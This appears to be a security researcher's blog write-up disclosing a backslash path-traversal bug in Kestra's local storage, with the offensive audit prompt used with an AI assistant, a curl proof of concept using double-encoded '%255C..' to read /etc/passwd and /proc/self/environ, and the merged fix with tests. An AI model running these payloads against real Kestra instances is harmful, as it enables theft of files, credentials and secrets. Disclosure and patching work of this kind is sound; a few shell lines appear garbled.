Skip to main content

Command Palette

Search for a command to run...

Bypassing Kestra's path-traversal guard with a single backslash

Updated
14 min read
Bypassing Kestra's path-traversal guard with a single backslash

I. Introduction

Kestra is an open-source event-driven workflow orchestration platform written in Java on top of Micronaut. It lets teams declare "flows" — task graphs that move data, call APIs, run scripts, react to webhooks, and schedule themselves — as YAML, and run them through a REST/Web UI control plane backed by a worker/executor tier. It ships an internal storage abstraction (local FS, S3, GCS, Azure), an embedded H2 option, a KV store, namespace files, multi-tenancy primitives, and the "run this Docker image and you're done" quickstart that almost every self-hosted install uses in production.

It is one of the most widely adopted data-orchestrator platforms in the JVM ecosystem (io.kestra:kestra on Maven Central, ~18k stars on GitHub), used as the data-pipeline and automation layer of a large number of production stacks: ETL/ELT, internal tooling, SaaS back ends, and event automation.

Vulnerable version: io.kestra:kestra <= 1.3.18 — every release through the latest tag at the time of writing (v1.3.20), including the actual latest GitHub release v1.3.17 (verified live), kestra/kestra:latest (= v1.3.16), the v1.3.18 tag, and develop prior to the merge.

Advisory: https://github.com/kestra-io/kestra/security/advisories/GHSA-qw4v-6w32-xx9h

CVE: CVE-2026-49984

Merged fix: kestra-io/kestra#16293 fix(storage): reject backslash path traversal in LocalStorage (GHSA-qw4v-6w32-xx9h) — merged into develop at commit b41d0ceeeb, co-authored credit to the reporter.

II. Target selection

I was working through Anthropic's plan to use AI for finding bugs in open-source projects. After scanning GitHub and Maven Central for high-traffic JVM infrastructure that runs everywhere, I landed on Kestra.

From a few basic pieces of information it looked like a promising target. It is an authentication-aware control plane: anything that reads a file, lists a directory, or moves data on behalf of a user crosses a real privilege boundary. It has a large file/storage surface, and the local internal-storage backend is the default in the official docker-compose.yml and the server local quickstart. And its published security advisory page already had a recent, accepted file/data-plane bug — a Critical SQL injection → RCE (GHSA-365w-2m69-mp9x), patched in v1.3.7.

A recently patched advisory is exactly when incomplete-fix and sibling bugs are richest: the maintainer wrote the patch under pressure, the test added with the patch only covers the path the maintainer thought to check, and any sibling surface the patch silently left alone is fair game. The SQLi fix touched the JDBC repository layer and never went near file storage, so I picked path-traversal / arbitrary-file-disclosure as the sub-class to hunt.

It was also more interesting than a typical web app because a bug in LocalStorage is a framework bug — every controller that reads, writes, or lists internal storage uses the same plumbing, so it affects every Kestra instance that hasn't explicitly switched to S3/GCS/Azure.

III. Finding

After cloning the repository I immediately proceeded to prompt for bug hunting. Here I used:

  • Claude Code (Claude CLI)

  • Model: Claude Opus 4.7

I pointed the model at the prior advisory (GHSA-365w-2m69-mp9x) and at the storage layer it never touched. The interesting shape in path code is always the same: the guard and the sink read the path in two different forms. If anything canonicalizes the path (percent-decoding, Windows→Unix conversion, Path.normalize) after the guard runs, the guard is validating a string that is not the string the filesystem will see. So I aimed the audit at that ordering.

I used the following prompt (I also used AI to generate this prompt based on the application's source code and the previous advisory's structure):

You are a senior offensive security researcher specialized in Java / Micronaut
applications, multi-tenant data planes, internal storage abstractions, and
validate-before-canonicalize / path-traversal bugs.

Your task is to audit this Kestra codebase.

IMPORTANT:
- Treat every prior advisory as a starting point for variant hunting. The
  developer who fixed A on path P probably left A' open on a sibling path P'.
- A path guard is only sound if it validates the SAME string the sink uses.
  Any canonicalization that happens AFTER the guard (percent-decode, Windows
  -> Unix conversion, Path.normalize, toRealPath) is a candidate bypass.
- The local internal-storage backend is the default in the quickstart Docker
  image. Treat it as the production target.
- bcrypt-style slowness is not your window here; string handling is. Focus on
  which exact bytes reach the guard vs. the FileInputStream.

Your workflow:

1. Map every webserver controller that takes @QueryValue URI / @PathVariable
   String path and reaches storageInterface.{get,put,delete,move,getAttributes}.
2. For each, find the guard (validateFile, parentTraversalGuard,
   isParentTraversal, forbiddenPathsGuard, NamespaceFile.normalize) and write
   down the EXACT string the guard sees vs. the EXACT string the sink uses.
3. Find any canonicalization that runs after the guard. windowsToUnixPath()
   converts '\' to '/'. Does the guard run before or after it?
4. Build a Docker PoC that:
   - Pins the AFFECTED version (kestra/kestra:latest and the latest release tag)
   - Uses the documented quickstart configuration
   - Demonstrates reading a file outside the storage base directory (/etc/passwd)
5. Decide whether a write/delete primitive is also reachable. Rule it in or out
   honestly — do not overclaim.

Output format:

## Candidate N
- Vulnerability type
- Reachable surface
- Source
- Sink
- Vulnerable code (file:line)
- Why the guard fails (which form does it validate vs. use)
- Payload / exploitation primitive
- Reproducible PoC (Docker + control vs. exploit)
- Impact
- Confidence level

At the end:
- Rank findings by likelihood of being exploitable.
- Clearly separate the confirmed finding from suspicious code.

After that, the AI produced a result showing it had found the issue. The data flow it reconstructed was:

ExecutionController.downloadFileFromExecution(executionId, path)
  -> validateFile(execution, path)
        -> path.getPath().startsWith(prefix)          // String prefix check only
  -> storageInterface.get(tenantId, namespace, path)
        -> LocalStorage.get -> getLocalPath -> getPath(uri, basePath):
              parentTraversalGuard(uri);                                       // (1) VALIDATE
              return Paths.get(basePath, windowsToUnixPath(uri.getPath()));    // (2) CANONICALIZE, then USE

The sink it identified, in storage-local/src/main/java/io/kestra/storage/local/LocalStorage.java:64-71 (and identical on the latest release):

protected Path getPath(URI uri, Path basePath) {
    if (uri == null) {
        return basePath;
    }

    parentTraversalGuard(uri);                                              // (1) VALIDATE
    return Paths.get(basePath.toString(), windowsToUnixPath(uri.getPath())); // (2) CANONICALIZE, then USE
}

with the guard, in core/src/main/java/io/kestra/core/utils/FileUtils.java:

public static boolean isParentTraversal(URI uri) {
    if (uri == null) return false;
    var path = uri.getPath();
    // File.separator == "/" on Linux/containers
    return path != null && (path.contains(".." + File.separator)   // "../"
                         || path.contains(File.separator + "..")    // "/.."
                         || path.equals(".."));
}

and the canonicalization that introduces the dangerous sequence, in core/src/main/java/io/kestra/core/utils/WindowsUtils.java:

unixPath = unixPath
    .replace("\\", "/")   // "..\.." becomes "../..", AFTER the guard ran
    .replace(":", "");

The model's conclusion: the guard only recognises forward-slash traversal. It runs at step (1); the backslash→slash conversion runs at step (2), after the check. So ..\..\..\etc\passwd passes isParentTraversal() (no ../, no /.., not ..), is then rewritten by windowsToUnixPath() to ../../../etc/passwd, and is handed to Paths.get(basePath, …) and new FileInputStream(...). On the <= 1.3.17 line the same check is inlined in StorageInterface.parentTraversalGuard() on uri.toString() — same logic, same flaw.

The most important part of the analysis was the ordering reasoning. Kestra's own test suite (FileUtilsTest.isParentTraversal_true) already covered forward-slash and even percent-encoded %2E%2E payloads, so the guard looked well-tested. But a test that never feeds a backslash cannot detect a backslash bypass, even though the project explicitly runs the Windows→Unix conversion right after the guard — meaning backslashes are a first-class input the guard is supposed to handle. The single-character difference between / and \ is the whole vulnerability.

I then set up a Docker environment and continued to have the AI verify the bug end-to-end; it confirmed the bug on every release containing the affected code.

Here is the vulnerable request (the normal "download an execution output" API Kestra ships with):

POST /api/v1/main/flows                                  -> create a one-task flow
POST /api/v1/main/executions/poc/pocflow                 -> run it, get a real storage prefix
GET  /api/v1/main/executions/{id}/file?path=kestra://... -> download → SINK

backed by:

@Get(uri = "/{executionId}/file", produces = MediaType.APPLICATION_OCTET_STREAM)
public HttpResponse<StreamedFile> downloadFileFromExecution(
        @PathVariable String executionId,
        @QueryValue URI path) throws IOException, URISyntaxException {
    this.validateFile(execution.get(), path, ...);
    InputStream fileHandler = switch (path.getScheme()) {
        case StorageContext.KESTRA_SCHEME ->
            storageInterface.get(execution.get().getTenantId(), execution.get().getNamespace(), path); // SINK
        ...
    };
    return HttpResponse.ok(new StreamedFile(fileHandler, ...));
}

Two things had to line up to exploit it over real HTTP. First, validateFile's path.getPath().startsWith(prefix) gate — solved by keeping the genuine execution-storage prefix (which Kestra itself emits when a flow produces an output) at the front and appending the traversal with no / before the first ... Second, Micronaut's @QueryValue URI rejects a literal \ — solved by double-encoding: send %255C → the HTTP layer decodes once to %5CURI.create() keeps %5CURI.getPath() finally yields \.

After that, I continued to use AI to build the Docker PoC — a single self-contained script that stands up the official image, creates a flow that emits a file (so a real execution storage directory exists), fires a CONTROL request with /../ and an EXPLOIT request with %255C..:

PRE='kestra:///poc/pocflow/executions/<id>/tasks/makefile/<taskrun>'   # real, allowed prefix
TRAV="\(PRE"; for _ in \)(seq 1 14); do TRAV="$TRAV%255C.."; done         # \..\..(x14)

# CONTROL — forward-slash traversal (guard MUST block)
curl -s -u admin@kestra.io:Admin1234 \
  "\(B/api/v1/main/executions/\)EID/file?path=$PRE/../../../../etc/passwd"

# EXPLOIT — backslash bypass (\..\.. via double-encoded %255C)
curl -s -u admin@kestra.io:Admin1234 \
  "\(B/api/v1/main/executions/\)EID/file?path=${TRAV}%255Cetc%255Cpasswd"

Run against kestra/kestra:latest (= v1.3.16), default quickstart config:

[*] CONTROL  - forward-slash ../ (guard MUST block this):
    HTTP 422  (4xx = correctly blocked)

[*] EXPLOIT  - backslash bypass (\..\.. via double-encoded %255C):
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin

==> RESULT: VULNERABLE — arbitrary file read confirmed on Kestra 1.3.16
    also leaked process env -> KESTRA_CONFIGURATION=...password: Admin1234...
    (control HTTP 422 = blocked ; exploit returned /etc/passwd = bypassed)

Re-confirmed verbatim against kestra/kestra:v1.3.17-no-plugins (the actual latest GitHub release):

==> RESULT: VULNERABLE — arbitrary file read confirmed on Kestra 1.3.17

The same primitive reads /proc/self/environ (which leaks KESTRA_CONFIGURATION — DB password, secret-backend tokens, encryption keys, the configured admin password — in cleartext, defeating Kestra's own redactedEnvVars control, since that only masks the Pebble {{ envs }} function and not raw filesystem reads), the embedded H2 database file (all flows, users, and stored secrets), and the internal storage of every other tenant and namespace. CVSS 3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N = 7.7 High (8.6 if the instance runs without auth — the documented docker-compose.yml ships with basic-auth commented out). Write/RCE was tested and ruled out honestly: the namespace-upload path normalises backslashes via NamespaceFile.normalize → toLogicalPath before the guard, so the primitive is read-only — though reading the secrets database is already a full-compromise primitive in practice.

I submitted the bug shortly afterwards. Kestra accepted it; the advisory was issued as GHSA-qw4v-6w32-xx9h, and GitHub later assigned CVE-2026-49984 after CVE-rules compliance review (to be pushed to the CVE List and the GitHub Advisory Database when the GHSA is published).

IV. Fix

What I did differently here from a normal advisory submission was use Claude Code to also author the fix in the temporary private fork and carry it all the way to a merged upstream commit. GitHub exposes a POST /repos/{owner}/{repo}/security-advisories/{ghsa_id}/forks endpoint that spins up a private repo under the maintainer's org once a report is accepted; Claude drove it end to end:

gh api --method POST \
   repos/kestra-io/kestra/security-advisories/GHSA-qw4v-6w32-xx9h/forks
# -> kestra-io/kestra-ghsa-qw4v-6w32-xx9h  (private, default branch develop)

I cloned the fork, branched off develop, and had Claude design a patch around two principles the original guard violated: canonicalize before validating, not after, and don't trust a deny-list — add an allow-list too.

FileUtils.isParentTraversal — separator-agnostic, matches .. only as a path segment (so my..file.txt stays valid), with a String overload the URI overload delegates to. Because every storage backend ultimately routes through StorageInterface.parentTraversalGuard()FileUtils.isParentTraversal(), this one change hardens S3/GCS/Azure/local at once:

public static boolean isParentTraversal(String path) {
    if (path == null) {
        return false;
    }
    String normalized = path.replace('\\', '/');   // unify separators FIRST
    return normalized.equals("..")
        || normalized.startsWith("../")
        || normalized.endsWith("/..")
        || normalized.contains("/../");
}

LocalStorage.getPath — canonicalize before validating, then a containment check so a resolved path can never escape basePath even if a future guard regresses:

String relativePath = windowsToUnixPath(uri.getPath());
if (isParentTraversal(relativePath)) {
    throw new IllegalArgumentException("File should be accessed with their full path and not using relative '..' path.");
}
Path resolved = Paths.get(basePath.toString(), relativePath).normalize();
if (!resolved.startsWith(basePath.normalize())) {     // defense in depth
    throw new IllegalArgumentException("File should be accessed with their full path and not using relative '..' path.");
}
return resolved;

Plus regression tests in FileUtilsTest (backslash, mixed-separator and percent-encoded payloads rejected; my..file.txt still allowed; null handled) and LocalStorageTest (shouldRejectBackslashParentTraversal / shouldRejectForwardSlashParentTraversal assert storageInterface.get() throws on traversal URIs).

A full Gradle build on Java 25 is heavy, so Claude verified the patched logic with a standalone Java reproduction of isParentTraversal + windowsToUnixPath + getPath against the exact PoC payloads. The matrix:

Payload Affected (v1.3.16 / v1.3.17) Patched logic
backslash exploit (%255C..) bypassed → /etc/passwd BLOCKED
forward-slash exploit (%2F..) blocked (already) BLOCKED
mixed separators bypassed BLOCKED
plain ../ blocked (already) BLOCKED
legit file / dotfile / my..file.txt allowed allowed (no over-blocking)

All green. I pushed the branch to the private fork and opened a PR against develop on the fork:

gh pr create \
  --repo kestra-io/kestra-ghsa-qw4v-6w32-xx9h \
  --base develop \
  --head fix/GHSA-qw4v-6w32-xx9h-path-traversal \
  --title "fix(storage): reject backslash path traversal in LocalStorage (GHSA-qw4v-6w32-xx9h)" \
  --body-file PR-BODY.md

The PR body led with the verification matrix and flagged two follow-ups: backport the same isParentTraversal hardening to the <= 1.3.17 release line (where the guard is inlined in StorageInterface.parentTraversalGuard() on uri.toString()), and tighten ExecutionController.validateFile()'s weak startsWith(prefix) check as defense in depth.

The maintainer took it from there. Roman Acevedo (@AcevedoR, Kestra core maintainer) opened the public PR kestra-io/kestra#16293, with the body starting "modified PR of @StarPlatinu" and the rest of my description verbatim. He made three small adjustments and nothing else:

File Maintainer's tweak
LocalStorage.java a static import of isParentTraversal instead of my fully-qualified call
LocalStorage.java containment check uses basePath.toAbsolutePath().normalize() instead of basePath.normalize()
FileUtils.java extra Javadoc noting the String overload expects a percent-decoded path

Same logic, same tests, +115 −9 across the same four files. Loïc Mathieu (@loicmathieu, Kestra core maintainer) approved, and AcevedoR merged into develop at commit b41d0ceeeb with Co-authored-by: @StarPlatinu in the trailer. The fix was then backported to the releases/v1.3.x branch. The advisory state moved from triage to draft, and the temporary private fork was deleted automatically — the standard end-of-collaboration cleanup once the upstream fix lands.

V. Timeline

  • 2026-05-19: Audited kestra-io/kestra develop with Claude Code (Opus 4.7); sink-first analysis surfaced the validate-before-canonicalize ordering in LocalStorage.getPath.
  • 2026-05-19: Confirmed the bug end-to-end via Docker against kestra/kestra:latest (= v1.3.16) — /etc/passwd disclosed via the backslash bypass; /proc/self/environ leaks KESTRA_CONFIGURATION. Write/RCE tested and ruled out. Submitted the report via the GitHub Security Advisory form; GHSA-qw4v-6w32-xx9h assigned, credited to @StarPlatinu.
  • 2026-05-20: Re-verified against kestra/kestra:v1.3.17-no-plugins (the actual latest GitHub release) — identical bypass.
  • 2026-05-21: Created the temporary private fork via POST /repos/kestra-io/kestra/security-advisories/GHSA-qw4v-6w32-xx9h/forkskestra-io/kestra-ghsa-qw4v-6w32-xx9h. Pushed the fix branch (separator-agnostic isParentTraversal + canonicalize-before-validate + containment check + regression tests) and opened a PR against develop on the private fork.
  • 2026-05-27 11:39 UTC: Maintainer Roman Acevedo (@AcevedoR) opened the public PR kestra-io/kestra#16293, body opening "modified PR of @StarPlatinu"; three minor adjustments, same logic and tests.
  • 2026-05-27 11:46 UTC: Maintainer Loïc Mathieu (@loicmathieu) approved.
  • 2026-05-27 13:03 UTC: AcevedoR merged into develop — commit b41d0ceeeb, Co-authored-by: @StarPlatinu. Fix backported to releases/v1.3.x. Advisory state → draft; temporary private fork deleted.
  • 2026-06-11: GitHub issued CVE-2026-49984 for GHSA-qw4v-6w32-xx9h after CVE-rules compliance review. The CVE record will be pushed to the CVE List and the global GitHub Advisory Database once the advisory is published.

The whole pipeline — recon, sink-first audit on a roughly 1M-LOC Java codebase, Docker PoC across two release lines, advisory submission, the native temporary-private-fork API call, authoring the patch with regression tests, verification, the PR on the private fork, and the maintainer's pickup → approval → merge into develop with co-author credit — ran inside Claude Code on Opus 4.7. The model carried the work from "the guard validates a different string than the sink uses" to a co-authored merge commit on the maintainer's develop branch, without me leaving the terminal.